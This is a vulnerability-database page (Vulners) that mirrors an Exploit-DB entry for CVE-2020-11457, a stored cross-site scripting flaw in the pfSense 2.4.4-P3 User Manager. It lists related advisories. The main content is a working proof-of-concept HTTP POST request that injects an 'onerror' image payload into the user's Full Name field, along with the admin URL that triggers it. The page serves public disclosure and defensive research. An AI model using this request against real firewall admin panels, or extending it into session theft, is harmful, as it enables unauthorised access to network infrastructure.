Lucene search
K

pfSense 2.4.4-P3 User Manager Cross Site Scripting

🗓️ 06 Apr 2020 00:00:00Reported by Matthew AbereggType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 156 Views

pfSense 2.4.4-P3 User Manager Cross Site Scripting vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
0day.today
pfSense 2.4.4-P3 - (User Manager) Persistent Cross-Site Scripting Vulnerability
6 Apr 202000:00
zdt
CNVD
pfSense 'User Manager' Cross-Site Scripting Vulnerability
2 Apr 202000:00
cnvd
CVE
CVE-2020-11457
1 Apr 202015:47
cve
Cvelist
CVE-2020-11457
1 Apr 202015:47
cvelist
Exploit DB
pfSense 2.4.4-P3 - 'User Manager' Persistent Cross-Site Scripting
6 Apr 202000:00
exploitdb
EUVD
EUVD-2020-3811
7 Oct 202500:30
euvd
NVD
CVE-2020-11457
1 Apr 202016:15
nvd
Prion
Cross site scripting
1 Apr 202016:15
prion
RedhatCVE
CVE-2020-11457
22 May 202516:09
redhatcve
`# Exploit Title: pfSense 2.4.4-P3 - 'User Manager' Persistent Cross-Site Scripting  
# Date: 2020-04-02  
# Exploit Author: Matthew Aberegg  
# Vendor Homepage: https://www.pfsense.org  
# Version: PfSense 2.4.4-P3  
# Tested on: FreeBSD 11.2-RELEASE-p10  
# CVE : CVE-2020-11457  
  
# Vulnerability Details  
# Description : A persistent cross-site scripting vulnerability exists within the 'User Manager' functionality of the pfSense administration panel.  
# Vulnerable Parameter : descr   
  
  
# POC  
# Exploit Details : The following request will create a user in the 'User Manager' functionality with an XSS payload as the Full Name.   
# This payload can be triggered by navigating to "https://TARGET/system_usermanager_addprivs.php?userid=0" where userid is   
# the id of the user containing the payload.  
  
  
POST /system_usermanager.php?act=new HTTP/1.1  
Host: TARGET  
Connection: close  
Content-Length: 410  
Cache-Control: max-age=0  
Origin: https://TARGET  
Upgrade-Insecure-Requests: 1  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36  
Sec-Fetch-Dest: document  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: navigate  
Sec-Fetch-User: ?1  
Referer: https://TARGET/system_usermanager.php?act=new  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: PHPSESSID=ebd302521a887cef99f517e3ac6bdd7d  
  
__csrf_magic=sid%3A3689bbf23a3350994d7543c082fc36d16397208d%2C1585881631&usernamefld=TEST&passwordfld1=password&passwordfld2=password&descr=%3Cimg+src%3D%2F+onerror%3Dalert%281%29%3E&expires=&webguicss=pfSense.css&webguifixedmenu=&webguihostnamemenu=&dashboardcolumns=2&name=&caref=5e643dcfd524e&keylen=2048&lifetime=3650&authorizedkeys=&ipsecpsk=&act=&userid=&privid=&certid=&utype=user&oldusername=&save=Save  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation